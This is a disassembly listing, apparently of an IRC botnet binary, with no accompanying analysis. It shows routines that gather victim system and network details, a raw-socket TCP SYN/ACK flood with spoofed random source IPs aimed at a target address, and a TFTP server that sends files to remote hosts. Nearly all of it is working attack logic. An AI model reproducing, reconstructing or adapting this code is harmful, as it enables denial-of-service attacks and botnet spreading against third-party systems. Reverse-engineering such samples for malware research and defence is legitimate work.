		lea	eax, [ebp+70h+var_2E8]
		push	offset aSS_5	; "%s (%s)"
		push	eax
		call	sub_416905
		lea	eax, [ebp+70h+var_2E8]
		add	esp, 10h
		mov	[ebp+70h+var_4], eax


loc_412BC5:				; CODE XREF: sub_412AEE+44j
					; sub_412AEE+ACj ...
		push	3Fh
		pop	ecx
		xor	eax, eax
		mov	[ebp+70h+var_25C], cx
		lea	edi, [ebp+70h+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43A430
		cmp	eax, ebx
		mov	[ebp+70h+var_C], 100h
		jz	short loc_412BF8
		lea	ecx, [ebp+70h+var_C]
		push	ecx
		lea	ecx, [ebp+70h+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_412BF8:				; CODE XREF: sub_412AEE+FBj
		push	[ebp+70h+arg_4]
		call	sub_408852
		pop	ecx
		push	eax
		call	dword_43A414	; inet_addr
		push	2
		mov	[ebp+70h+var_8], eax
		push	4
		lea	eax, [ebp+70h+var_8]
		push	eax
		call	dword_43A494	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_412C21
		push	dword ptr [eax]
		jmp	short loc_412C26
; ---------------------------------------------------------------------------


loc_412C21:				; CODE XREF: sub_412AEE+12Dj
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_412C26:				; CODE XREF: sub_412AEE+131j
		lea	eax, [ebp+70h+var_3E4]
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		push	104h
		lea	eax, [ebp+70h+var_4E8]
		push	eax
		call	dword_422048	; GetSystemDirectoryA
		push	46h
		lea	eax, [ebp+70h+var_114]
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		push	ebx
		mov	esi, 409h
		push	esi
		call	dword_42209C	; GetDateFormatA
		push	46h
		lea	eax, [ebp+70h+var_15C]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_422098	; GetTimeFormatA
		push	8
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+70h+var_38]
		rep stosd
		lea	eax, [ebp+70h+var_38]
		push	eax
		call	dword_422130	; GlobalMemoryStatus
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+70h+var_18]
		push	eax
		lea	eax, [ebp+70h+var_4E8]
		push	eax
		call	sub_41802F
		lea	eax, [ebp+70h+var_18]
		push	eax
		lea	eax, [ebp+70h+var_7E8]
		push	eax
		call	sub_403266
		push	60h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+70h+var_668]
		push	ebx
		rep movsd
		call	sub_41296D
		add	esp, 20h
		push	eax
		lea	eax, [ebp+70h+var_15C]
		push	eax
		lea	eax, [ebp+70h+var_114]
		push	eax
		lea	eax, [ebp+70h+var_25C]
		push	eax
		push	[ebp+70h+arg_4]
		call	sub_408852
		pop	ecx
		push	eax
		lea	eax, [ebp+70h+var_3E4]
		push	eax
		lea	eax, [ebp+70h+var_4E8]
		push	eax
		push	[ebp+70h+var_C0]
		lea	eax, [ebp+70h+var_5E8]
		push	[ebp+70h+var_C4]
		push	[ebp+70h+var_C8]
		push	[ebp+70h+var_4]
		push	eax
		lea	eax, [ebp+70h+var_568]
		push	eax
		mov	eax, [ebp+70h+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_403162
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+70h+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_403162
		pop	ecx
		pop	ecx
		push	eax
		call	sub_412A38
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+70h+arg_0]
		call	sub_416B5D
		mov	eax, [ebp+70h+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 70h
		leave
		retn
sub_412AEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch


sub_412D55	proc near		; CODE XREF: sub_409806+3A65p
					; sub_409806+4F47p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 8Ch
		push	edi
		push	20h
		pop	ecx
		xor	eax, eax
		cmp	dword_43A520, eax
		lea	edi, [ebp+6Ch+var_8C]
		rep stosd
		pop	edi
		jnz	short loc_412DBB
		push	eax
		push	80h
		lea	eax, [ebp+6Ch+var_8C]
		push	eax
		lea	eax, [ebp+6Ch+var_C]
		push	eax
		call	dword_43A4F0	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_412D9C
		lea	eax, [ebp+6Ch+var_8C]
		push	offset dword_42B6F4
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_412D9C:				; CODE XREF: sub_412D55+35j
		test	[ebp+6Ch+var_C], 1
		lea	eax, [ebp+6Ch+var_8]
		jz	short loc_412DB4
		push	offset dword_42B6EC


loc_412DAA:				; CODE XREF: sub_412D55+64j
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		jmp	short loc_412DD9
; ---------------------------------------------------------------------------


loc_412DB4:				; CODE XREF: sub_412D55+4Ej
		push	offset dword_42B6E8
		jmp	short loc_412DAA
; ---------------------------------------------------------------------------


loc_412DBB:				; CODE XREF: sub_412D55+1Dj
		push	esi
		mov	esi, offset off_42B6E4
		lea	eax, [ebp+6Ch+var_8]
		push	esi
		push	eax
		call	sub_416905
		lea	eax, [ebp+6Ch+var_8C]
		push	esi
		push	eax
		call	sub_416905
		add	esp, 10h
		pop	esi


loc_412DD9:				; CODE XREF: sub_412D55+5Dj
		push	[ebp+6Ch+arg_4]
		push	[ebp+6Ch+arg_8]
		call	sub_408852
		pop	ecx
		push	eax
		lea	eax, [ebp+6Ch+var_8C]
		push	eax
		lea	eax, [ebp+6Ch+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+6Ch+arg_0]
		call	sub_416B5D
		mov	eax, [ebp+6Ch+arg_0]
		add	esp, 1Ch
		add	ebp, 6Ch
		leave
		retn
sub_412D55	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=74h


sub_412E0B	proc near		; DATA XREF: sub_409806+5985o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 440h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+74h+var_240]
		rep movsd
		mov	esi, dword_42201C
		mov	dword ptr [eax+19Ch], 1
		push	0Eh
		xor	eax, eax
		xor	ebx, ebx
		mov	[ebp+74h+var_A0], bl
		pop	ecx
		lea	edi, [ebp+74h+var_9F]
		rep stosd
		stosw
		stosb
		call	esi	; GetTickCount
		push	eax
		call	sub_41698D
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43A39C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+var_4], eax
		jnz	short loc_412E94
		call	dword_43A45C	; WSAGetLastError
		push	eax
		push	offset aTcpErrorSocket ; "[TCP]: Error:	socket() failed, returned"...


loc_412E77:				; CODE XREF: sub_412E0B+B1j
		lea	eax, [ebp+74h+var_440]
		push	eax
		call	sub_416905
		add	esp, 0Ch


loc_412E86:				; CODE XREF: sub_412E0B+D8j
					; sub_412E0B+3DEj
		cmp	[ebp+74h+var_A8], ebx
		jnz	loc_413199
		jmp	loc_413179
; ---------------------------------------------------------------------------


loc_412E94:				; CODE XREF: sub_412E0B+5Ej
		push	4
		lea	ecx, [ebp+74h+var_34]
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+74h+var_34], 1
		call	dword_43A3B8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412EBE
		call	dword_43A45C	; WSAGetLastError
		push	eax
		push	offset aTcpErrorSetsoc ; "[TCP]: Error:	setsockopt() failed, retu"...
		jmp	short loc_412E77
; ---------------------------------------------------------------------------


loc_412EBE:				; CODE XREF: sub_412E0B+A3j
		lea	eax, [ebp+74h+var_23C]
		push	eax
		call	dword_43A414	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412EE5
		lea	eax, [ebp+74h+var_440]
		push	offset aTcpInvalidTarg ; "[TCP]: Invalid target	IP."
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		jmp	short loc_412E86
; ---------------------------------------------------------------------------


loc_412EE5:				; CODE XREF: sub_412E0B+C3j
		xor	eax, eax
		lea	edi, [ebp+74h+var_44]
		stosd
		stosd
		stosd
		stosd
		push	ebx
		mov	[ebp+74h+var_44], 2
		call	dword_43A4F4	; ntohs
		mov	[ebp+74h+var_42], ax
		lea	eax, [ebp+74h+var_23C]
		push	eax
		call	dword_43A414	; inet_addr
		mov	[ebp+74h+var_40], eax
		mov	[ebp+74h+arg_0], ebx
		call	esi	; GetTickCount
		mov	[ebp+74h+var_1C], eax
		call	esi	; GetTickCount
		sub	eax, [ebp+74h+var_1C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+74h+var_B4]
		ja	loc_413131
		mov	[ebp+74h+var_30], 45h
		mov	[ebp+74h+var_2C], 1
		mov	[ebp+74h+var_2A], bx
		mov	[ebp+74h+var_28], 80h
		mov	[ebp+74h+var_27], 6
		mov	[ebp+74h+var_C], 50h
		mov	[ebp+74h+var_6], bx


loc_412F4C:				; CODE XREF: sub_412E0B+320j
		push	28h


loc_412F4E:				; DATA XREF: .text:off_42B6E4o
		call	dword_43A4F4	; ntohs
		cmp	[ebp+74h+var_B0], ebx
		mov	[ebp+74h+var_2E], ax
		mov	[ebp+74h+var_26], bx
		jz	short loc_412F88
		call	sub_41699A
		mov	esi, eax
		shl	esi, 8
		call	sub_41699A
		add	esi, eax
		shl	esi, 8
		call	sub_41699A
		add	esi, eax
		shl	esi, 8
		call	sub_41699A
		add	esi, eax
		jmp	short loc_412F9D
; ---------------------------------------------------------------------------


loc_412F88:				; CODE XREF: sub_412E0B+154j
		push	[ebp+74h+var_240]
		call	sub_408852
		pop	ecx
		push	eax
		call	dword_43A414	; inet_addr
		mov	esi, eax


loc_412F9D:				; CODE XREF: sub_412E0B+17Bj
		cmp	[ebp+74h+var_B8], ebx
		mov	edi, [ebp+74h+var_40]
		mov	[ebp+74h+var_24], esi
		mov	[ebp+74h+var_20], edi
		jnz	short loc_412FBB
		call	sub_41699A
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_412FBE
; ---------------------------------------------------------------------------


loc_412FBB:				; CODE XREF: sub_412E0B+19Ej
		push	[ebp+74h+var_B8]


loc_412FBE:				; CODE XREF: sub_412E0B+1AEj
		call	dword_43A4F4	; ntohs
		mov	[ebp+74h+var_16], ax
		call	sub_41699A
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43A4F4	; ntohs
		push	12345678h
		mov	[ebp+74h+var_18], ax
		call	dword_43A4CC	; ntohl
		mov	[ebp+74h+var_14], eax
		lea	eax, [ebp+74h+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41300E
		mov	[ebp+74h+var_10], ebx
		mov	[ebp+74h+var_B], 2
		jmp	short loc_41306A
; ---------------------------------------------------------------------------


loc_41300E:				; CODE XREF: sub_412E0B+1F8j
		lea	eax, [ebp+74h+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41302E
		mov	[ebp+74h+var_10], ebx
		mov	[ebp+74h+var_B], 10h
		jmp	short loc_41306A
; ---------------------------------------------------------------------------


loc_41302E:				; CODE XREF: sub_412E0B+218j
		lea	eax, [ebp+74h+var_1BC]
		push	offset aRandom_0 ; "random"
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41306A
		call	sub_41699A
		cdq
		push	3
		pop	ecx
		idiv	ecx
		mov	[ebp+74h+var_10], edx
		call	sub_41699A
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+74h+var_B], dl


loc_41306A:				; CODE XREF: sub_412E0B+201j
					; sub_412E0B+221j ...
		push	200h
		call	dword_43A4F4	; ntohs
		push	14h
		mov	[ebp+74h+var_A], ax
		mov	[ebp+74h+var_8], bx
		mov	[ebp+74h+var_64], esi
		mov	[ebp+74h+var_60], edi
		mov	[ebp+74h+var_5C], bl
		mov	[ebp+74h+var_5B], 6
		call	dword_43A4F4	; ntohs
		push	8
		pop	ecx
		mov	[ebp+74h+var_5A], ax
		push	5
		lea	esi, [ebp+74h+var_64]
		lea	edi, [ebp+74h+var_A0]
		rep movsd
		pop	ecx
		lea	eax, [ebp+74h+var_A0]
		push	34h
		lea	esi, [ebp+74h+var_18]
		lea	edi, [ebp+74h+var_80]
		push	eax
		rep movsd
		call	sub_4088A8
		push	5
		pop	ecx
		push	5
		lea	esi, [ebp+74h+var_30]
		lea	edi, [ebp+74h+var_A0]
		rep movsd
		mov	[ebp+74h+var_8], ax
		pop	ecx
		lea	esi, [ebp+74h+var_18]
		lea	edi, [ebp+74h+var_8C]
		rep movsd
		xor	eax, eax
		lea	edi, [ebp+74h+var_78]
		stosd
		lea	eax, [ebp+74h+var_A0]
		push	28h
		push	eax
		call	sub_4088A8
		add	esp, 10h
		push	5
		pop	ecx
		push	10h
		mov	[ebp+74h+var_26], ax
		lea	eax, [ebp+74h+var_44]
		push	eax
		push	ebx
		push	3Ch
		lea	eax, [ebp+74h+var_A0]
		push	eax
		push	[ebp+74h+var_4]
		lea	esi, [ebp+74h+var_30]
		lea	edi, [ebp+74h+var_A0]
		rep movsd
		call	dword_43A36C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_4131B6
		inc	[ebp+74h+arg_0]
		call	dword_42201C	; GetTickCount
		sub	eax, [ebp+74h+var_1C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+74h+var_B4]
		jbe	loc_412F4C


loc_413131:				; CODE XREF: sub_412E0B+11Dj
		push	[ebp+74h+var_4]
		call	dword_43A4B0	; closesocket
		mov	eax, [ebp+74h+arg_0]
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		xor	edx, edx
		div	[ebp+74h+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_23C]
		push	eax
		lea	eax, [ebp+74h+var_1BC]
		push	eax
		lea	eax, [ebp+74h+var_440]
		push	offset aTcpDoneWithSFl ; "[TCP]: Done with %s flood to IP: %s. Se"...
		push	eax
		call	sub_416905
		add	esp, 1Ch
		cmp	[ebp+74h+var_A8], ebx
		jnz	short loc_413199


loc_413179:				; CODE XREF: sub_412E0B+84j
		push	ebx
		push	[ebp+74h+var_AC]
		lea	eax, [ebp+74h+var_440]
		push	eax
		lea	eax, [ebp+74h+var_13C]
		push	eax
		push	[ebp+74h+var_240]
		call	sub_405D20
		add	esp, 14h


loc_413199:				; CODE XREF: sub_412E0B+7Ej
					; sub_412E0B+36Cj
		lea	eax, [ebp+74h+var_440]
		push	eax
		call	sub_401ECD
		push	[ebp+74h+var_BC]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_422010	; ExitThread


loc_4131B6:				; CODE XREF: sub_412E0B+302j
		push	[ebp+74h+var_4]
		call	dword_43A4B0	; closesocket
		call	dword_43A45C	; WSAGetLastError
		push	eax
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_23C]
		push	eax
		push	offset aTcpErrorSendin ; "[TCP]: Error sending packets to IP: %s."...
		lea	eax, [ebp+74h+var_440]
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 18h
		jmp	loc_412E86
sub_412E0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4131EE	proc near		; CODE XREF: sub_4131EE:loc_4136A7p
					; DATA XREF: sub_401141+104o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 884h
		mov	edx, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+74h+var_1C]
		movsd
		movsw
		xor	ebx, ebx
		push	ebx
		xor	eax, eax
		inc	eax
		mov	esi, edx
		push	2
		mov	ecx, 0A9h
		lea	edi, [ebp+74h+var_37C]
		rep movsd
		inc	[ebp+74h+var_16C]
		push	2
		mov	[ebp+74h+var_10], eax
		mov	[edx+2A0h], eax
		call	dword_43A39C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+74h+var_4], esi
		jnz	short loc_4132AA
		push	190h
		call	dword_422000	; Sleep
		call	dword_43A45C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+var_780]
		push	offset aTftpErrorSocke ; "[TFTP]: Error: socket() failed, returne"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+74h+var_E0], ebx
		jnz	short loc_41328D
		push	ebx
		push	[ebp+74h+var_E4]
		lea	eax, [ebp+74h+var_780]
		push	eax
		lea	eax, [ebp+74h+var_164]
		push	eax
		push	[ebp+74h+var_37C]
		call	sub_405D20
		add	esp, 14h


loc_41328D:				; CODE XREF: sub_4131EE+7Dj
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_401ECD
		push	[ebp+74h+var_170]
		call	sub_41397A
		pop	ecx
		jmp	loc_413693
; ---------------------------------------------------------------------------


loc_4132AA:				; CODE XREF: sub_4131EE+52j
		mov	eax, [ebp+74h+var_170]
		push	[ebp+74h+var_168]
		imul	eax, 234h
		mov	dword_43B24C[eax], esi
		xor	eax, eax
		lea	edi, [ebp+74h+var_44]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+74h+var_44], 2
		call	dword_43A4F4	; ntohs
		mov	[ebp+74h+var_42], ax
		push	10h
		lea	eax, [ebp+74h+var_44]
		push	eax
		push	esi
		mov	[ebp+74h+var_40], ebx
		call	dword_43A47C	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413309
		push	1388h
		call	dword_422000	; Sleep
		dec	[ebp+74h+var_16C]
		push	[ebp+74h+arg_0]
		jmp	loc_4136A7
; ---------------------------------------------------------------------------


loc_413309:				; CODE XREF: sub_4131EE+100j
		lea	eax, [ebp+74h+var_378]
		push	offset dword_422998
		push	eax
		call	sub_41719C
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+74h+var_8], eax
		jnz	short loc_413382
		push	190h
		call	dword_422000	; Sleep
		lea	eax, [ebp+74h+var_378]
		push	eax
		lea	eax, [ebp+74h+var_780]
		push	offset aTftpFailedToOp ; "[TFTP]: Failed to open file: %s."
		push	eax
		call	sub_416905
		push	ebx
		push	[ebp+74h+var_E4]
		lea	eax, [ebp+74h+var_780]
		push	eax
		lea	eax, [ebp+74h+var_164]
		push	eax
		push	[ebp+74h+var_37C]
		call	sub_405D20
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_401ECD
		push	[ebp+74h+var_170]
		call	sub_41397A
		add	esp, 28h
		jmp	loc_413694
; ---------------------------------------------------------------------------


loc_413382:				; CODE XREF: sub_4131EE+133j
		mov	esi, 200h


loc_413387:				; CODE XREF: sub_4131EE+471j
		mov	edi, [ebp+74h+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_413668
		mov	eax, [ebp+74h+var_4]
		push	20h
		pop	ecx
		mov	[ebp+74h+var_880], eax
		xor	eax, eax
		lea	edi, [ebp+74h+var_D8]
		rep stosd
		lea	eax, [ebp+74h+var_34]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_884]
		push	eax
		push	ebx
		mov	[ebp+74h+var_34], 5
		mov	[ebp+74h+var_30], 1388h
		mov	[ebp+74h+var_884], 1
		call	dword_43A448	; select
		test	eax, eax
		jle	loc_41365C
		xor	eax, eax
		mov	edx, 80h
		mov	[ebp+74h+var_580], bl
		mov	ecx, edx
		lea	edi, [ebp+74h+var_57F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		push	edx
		lea	eax, [ebp+74h+var_D8]
		push	eax
		push	[ebp+74h+var_4]
		mov	[ebp+74h+var_C], 10h
		call	dword_43A328	; recvfrom
		push	[ebp+74h+var_28]
		mov	[ebp+74h+var_10], eax
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		call	sub_416905
		cmp	[ebp+74h+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_413644
		cmp	[ebp+74h+var_D7], 1
		jnz	loc_41359F
		lea	eax, [ebp+74h+var_274]
		lea	edx, [eax+1]


loc_413449:				; CODE XREF: sub_4131EE+260j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_413449
		sub	eax, edx
		mov	[ebp+74h+var_14], eax
		lea	eax, [ebp+74h+var_274]
		lea	edi, [eax+1]


loc_41345E:				; CODE XREF: sub_4131EE+275j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_41345E
		sub	eax, edi
		push	eax
		lea	eax, [ebp+74h+var_D6]
		push	eax
		lea	eax, [ebp+74h+var_274]
		push	eax
		call	sub_418200
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41355D
		lea	eax, [ebp+74h+var_1C]
		lea	edx, [eax+1]


loc_413489:				; CODE XREF: sub_4131EE+2A0j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_413489
		sub	eax, edx
		push	eax
		mov	eax, [ebp+74h+var_14]
		lea	eax, [ebp+eax+74h+var_D5]
		push	eax
		lea	eax, [ebp+74h+var_1C]
		push	eax
		call	sub_418200
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41355D
		push	ebx
		push	ebx
		push	[ebp+74h+var_8]
		call	sub_418577
		push	[ebp+74h+var_8]
		lea	eax, [ebp+74h+var_57C]
		push	esi
		push	1
		push	eax
		mov	[ebp+74h+var_580], bl
		mov	[ebp+74h+var_57F], 3
		mov	[ebp+74h+var_57E], bl
		mov	[ebp+74h+var_57D], 1
		call	sub_416F47
		add	esp, 1Ch
		push	[ebp+74h+var_C]
		lea	ecx, [ebp+74h+var_2C]
		push	ecx
		mov	[ebp+74h+var_10], eax
		push	ebx
		add	eax, 4
		push	eax
		lea	eax, [ebp+74h+var_580]
		push	eax
		push	[ebp+74h+var_4]
		call	dword_43A36C	; sendto
		lea	eax, [ebp+74h+var_378]
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	started	to IP: %s"...


loc_413517:				; CODE XREF: sub_4131EE+451j
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_416905
		add	esp, 10h
		cmp	[ebp+74h+var_E0], ebx
		jnz	short loc_41354B
		push	ebx
		push	[ebp+74h+var_E4]
		lea	eax, [ebp+74h+var_780]
		push	eax
		lea	eax, [ebp+74h+var_164]
		push	eax
		push	[ebp+74h+var_37C]
		call	sub_405D20
		add	esp, 14h


loc_41354B:				; CODE XREF: sub_4131EE+33Bj
		lea	eax, [ebp+74h+var_780]
		push	eax
		call	sub_401ECD
		pop	ecx
		jmp	loc_41365C
; ---------------------------------------------------------------------------


loc_41355D:				; CODE XREF: sub_4131EE+28Fj
					; sub_4131EE+2BBj
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42B884
		push	[ebp+74h+var_4]
		call	dword_43A36C	; sendto
		lea	eax, [ebp+74h+var_274]
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		lea	eax, [ebp+74h+var_D8]
		push	offset aTftpFileNotFou ; "[TFTP]: File not found: %s (%s)."
		push	eax
		call	sub_416905
		lea	eax, [ebp+74h+var_D8]
		push	eax
		call	sub_401ECD
		add	esp, 14h
		jmp	loc_41365C
; ---------------------------------------------------------------------------


loc_41359F:				; CODE XREF: sub_4131EE+24Cj
		cmp	[ebp+74h+var_D7], 4
		jnz	loc_413644
		mov	cl, [ebp+74h+var_D5]
		cmp	cl, 0FFh
		mov	al, [ebp+74h+var_D6]
		mov	[ebp+74h+var_580], bl
		mov	[ebp+74h+var_57F], 3
		jnz	short loc_4135CD
		inc	al
		xor	cl, cl
		mov	[ebp+74h+var_57D], bl
		jmp	short loc_4135D5
; ---------------------------------------------------------------------------


loc_4135CD:				; CODE XREF: sub_4131EE+3D1j
		inc	cl
		mov	[ebp+74h+var_57D], cl


loc_4135D5:				; CODE XREF: sub_4131EE+3DDj
		mov	[ebp+74h+var_57E], al
		movzx	eax, al
		shl	eax, 8
		movzx	ecx, cl
		add	eax, ecx
		shl	eax, 9
		push	ebx
		sub	eax, esi
		push	eax
		push	[ebp+74h+var_8]
		call	sub_418577
		push	[ebp+74h+var_8]
		lea	eax, [ebp+74h+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_416F47
		add	esp, 1Ch
		push	[ebp+74h+var_C]
		mov	edi, eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		lea	eax, [edi+4]
		push	eax
		lea	eax, [ebp+74h+var_580]
		push	eax
		push	[ebp+74h+var_4]
		mov	[ebp+74h+var_10], edi
		call	dword_43A36C	; sendto
		cmp	edi, ebx
		jnz	short loc_41365C
		lea	eax, [ebp+74h+var_378]
		push	eax
		lea	eax, [ebp+74h+var_58]
		push	eax
		push	offset aTftpFileTran_0 ; "[TFTP]: File transfer	complete to IP:	%"...
		jmp	loc_413517
; ---------------------------------------------------------------------------


loc_413644:				; CODE XREF: sub_4131EE+242j
					; sub_4131EE+3B5j
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42B824
		push	[ebp+74h+var_4]
		call	dword_43A36C	; sendto


loc_41365C:				; CODE XREF: sub_4131EE+1E9j
					; sub_4131EE+36Aj ...
		cmp	[ebp+74h+var_10], ebx
		jg	loc_413387
		mov	edi, [ebp+74h+arg_0]


loc_413668:				; CODE XREF: sub_4131EE+1A2j
		push	[ebp+74h+var_4]
		call	dword_43A4B0	; closesocket
		push	[ebp+74h+var_8]
		call	sub_416E0D
		dec	[ebp+74h+var_16C]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_41369B
		push	[ebp+74h+var_170]
		call	sub_41397A


loc_413693:				; CODE XREF: sub_4131EE+B7j
		pop	ecx


loc_413694:				; CODE XREF: sub_4131EE+18Fj
		push	ebx
		call	dword_422010	; ExitThread


loc_41369B:				; CODE XREF: sub_4131EE+498j
		push	3E8h
		call	dword_422000	; Sleep
		push	edi


